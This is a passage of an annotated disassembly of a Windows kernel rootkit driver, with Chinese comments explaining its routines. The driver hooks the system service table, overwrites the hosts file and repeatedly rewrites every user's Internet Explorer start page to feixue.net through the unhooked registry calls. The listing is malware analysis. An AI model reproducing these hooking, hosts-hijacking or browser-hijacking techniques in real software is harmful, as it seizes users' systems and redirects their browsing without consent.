  pop ecx
  push eax  ; Length
  push edi  ; Buffer
  lea eax, [ebp+IoStatusBlock]
  push eax  ; IoStatusBlock
  push ebx  ; ApcContext
  push ebx  ; ApcRoutine
  push ebx  ; Event
  push [ebp+Handle] ; FileHandle
  call ds:ZwWriteFile

;写入改过后的hosts文件！！！
  push edi  ; P
  call ds:ExFreePool

loc_10976:    ; CODE XREF: sub_107BD+165j
  push [ebp+Handle] ; Handle
  call ds:__imp_ZwClose
  push ebx  ; EaLength
  push ebx  ; EaBuffer
  push 40h  ; CreateOptions
  push 1  ; CreateDisposition
  push 1  ; ShareAccess
  push 80h  ; FileAttributes
  push ebx  ; AllocationSize
  lea eax, [ebp+IoStatusBlock]
  push eax  ; IoStatusBlock
  lea eax, [ebp+ObjectAttributes]
  push eax  ; ObjectAttributes
  push 80000000h ; DesiredAccess
  lea eax, [ebp+FileHandle]
  push eax  ; FileHandle
  mov [ebp+Handle], ebx
  mov [ebp+FileHandle], ebx
  call ds:ZwCreateFile

loc_109AA:    ; CODE XREF: sub_107BD+B6j
     ; sub_107BD+ECj sub_107BD+F5j
     ; sub_107BD+119j sub_107BD+151j
  pop edi

loc_109AB:    ; CODE XREF: sub_107BD+87j
     ; sub_107BD+96j
  cmp [ebp+Handle], ebx
  jz short loc_109B9
  push [ebp+Handle] ; Handle
  call ds:__imp_ZwClose

loc_109B9:    ; CODE XREF: sub_107BD+1F1j
  cmp [ebp+P], ebx
  jz short loc_109C7
  push [ebp+P]  ; P
  call ds:ExFreePool

loc_109C7:    ; CODE XREF: sub_107BD+1FFj
  xor eax, eax
  inc eax
  jmp short loc_109CE
; ---------------------------------------------------------------------------
loc_109CC:    ; CODE XREF: sub_107BD+5Fj
     ; sub_107BD+68j
  xor eax, eax

loc_109CE:    ; CODE XREF: sub_107BD+20Dj
  pop esi
  pop ebx
  leave
  retn
Write_Bad_host endp


;其他没用的子程序我就不分析了



;以下是写注册表IE首页设置的部分！

; *************** S U B R O U T I N E ***************************************
; Attributes: bp-based frame
; int __stdcall sub_11074(PCSZ SourceString)


Write_StartPage proc near


ObjectAttributes= OBJECT_ATTRIBUTES ptr -30h
DestinationString= UNICODE_STRING ptr -18h
ResultLength = dword ptr -10h
Handle  = dword ptr -0Ch
Index  = dword ptr -8
P  = dword ptr -4
SourceString = dword ptr  8
  push ebp
  mov ebp, esp
  sub esp, 30h
  push esi
  push offset s_RegistryUser ; "[url=file:////registry//user]//registry//user[/url]"
;要写入的是 User部分！
  lea eax, [ebp+DestinationString]
  push eax  ; DestinationString
  call ds:RtlInitUnicodeString
  lea eax, [ebp+DestinationString]
  mov [ebp+ObjectAttributes.ObjectName], eax
  lea eax, [ebp+ObjectAttributes]
  push eax  ; ObjectAttributes
  xor esi, esi
  push 0F003Fh  ; DesiredAccess
  lea eax, [ebp+Handle]
  push eax  ; KeyHandle
  mov [ebp+ObjectAttributes.Length], 18h
  mov [ebp+ObjectAttributes.RootDirectory], esi
  mov [ebp+ObjectAttributes.Attributes], 240h
  mov [ebp+ObjectAttributes.SecurityDescriptor], esi
  mov [ebp+ObjectAttributes.SecurityQualityOfService], esi
  call off_11900
;这里是真实的ZwOpenKey地址！

;也就是被HOOK前的！

  test eax, eax
  jl loc_11189
  push ebx
  mov ebx, ds:ExAllocatePoolWithTag
  push edi
  mov [ebp+ResultLength], esi
  mov edi, 206B6444h
  push edi  ; Tag
  mov [ebp+Index], esi
  mov esi, 200h
  push esi  ; NumberOfBytes
  push 1  ; PoolType
  call ebx ; ExAllocatePoolWithTag
  test eax, eax
  mov [ebp+P], eax
  jz loc_1117E
  push edi  ; Tag
  mov edi, 400h
  push edi  ; NumberOfBytes
  push 1  ; PoolType
  call ebx ; ExAllocatePoolWithTag
  mov ebx, eax
  test ebx, ebx
  jz short loc_11175
  push esi  ; size_t
  push 0  ; int
  push [ebp+P]  ; void *
  call memset
  add esp, 0Ch
  lea eax, [ebp+ResultLength]
  push eax
  push esi
  push [ebp+P]
  push 0
  push 0
  jmp short loc_11161
; ---------------------------------------------------------------------------
loc_1111A:    ; CODE XREF: sub_11074+F8j
  push edi  ; size_t
  push 0  ; int
  push ebx  ; void *
  call memset
  mov eax, [ebp+P]
  add eax, 10h
  push eax
  push offset s_RegistryUserW ; "registry/user/%ws/Software/Microsoft/Internet Explorer/Main"...
;这里就是要改的位置了！

;registry/user/%ws/Software/Microsoft/Internet Explorer/Main

  push edi  ; size_t
  push ebx  ; wchar_t *
  call ds:_snwprintf
  add esp, 1Ch
  push [ebp+SourceString] ; SourceString
  push ebx  ; Handle
  call sub_10FC6

;这个子程序就是在写Main里面的 StartPage了！

  inc [ebp+Index]
  push esi  ; size_t
  push 0  ; int
  push [ebp+P]  ; void *
  call memset
  add esp, 0Ch
  lea eax, [ebp+ResultLength]
  push eax  ; ResultLength
  push esi  ; KeyInformationLength
  push [ebp+P]  ; KeyInformation
  push 0  ; KeyInformationClass
  push [ebp+Index] ; Index

loc_11161:    ; CODE XREF: sub_11074+A4j
  push [ebp+Handle] ; KeyHandle

;这里是枚举KEY！
  call off_1190C


;其实这里是ZwEnumerateKey
;被HOOK了！


  test eax, eax
  jge short loc_1111A
  push ebx  ; P
  call ds:ExFreePool

loc_11175:    ; CODE XREF: sub_11074+88j
  push [ebp+P]  ; P
  call ds:ExFreePool

loc_1117E:    ; CODE XREF: sub_11074+73j
  push [ebp+Handle] ; Handle

  call off_11904
;写完了调用被HOOK前的ZwCloseKey函数！


  pop edi
  pop ebx

loc_11189:    ; CODE XREF: sub_11074+4Aj
  xor eax, eax
  inc eax
  pop esi
  leave
  retn 4
Wrtie_StartPage endp

;综上，StartRoutine的主要作用就是
;1.挂钩系统服务表
;2.篡改Hosts表
;3.死循环，不停重写IE设置为feixue.net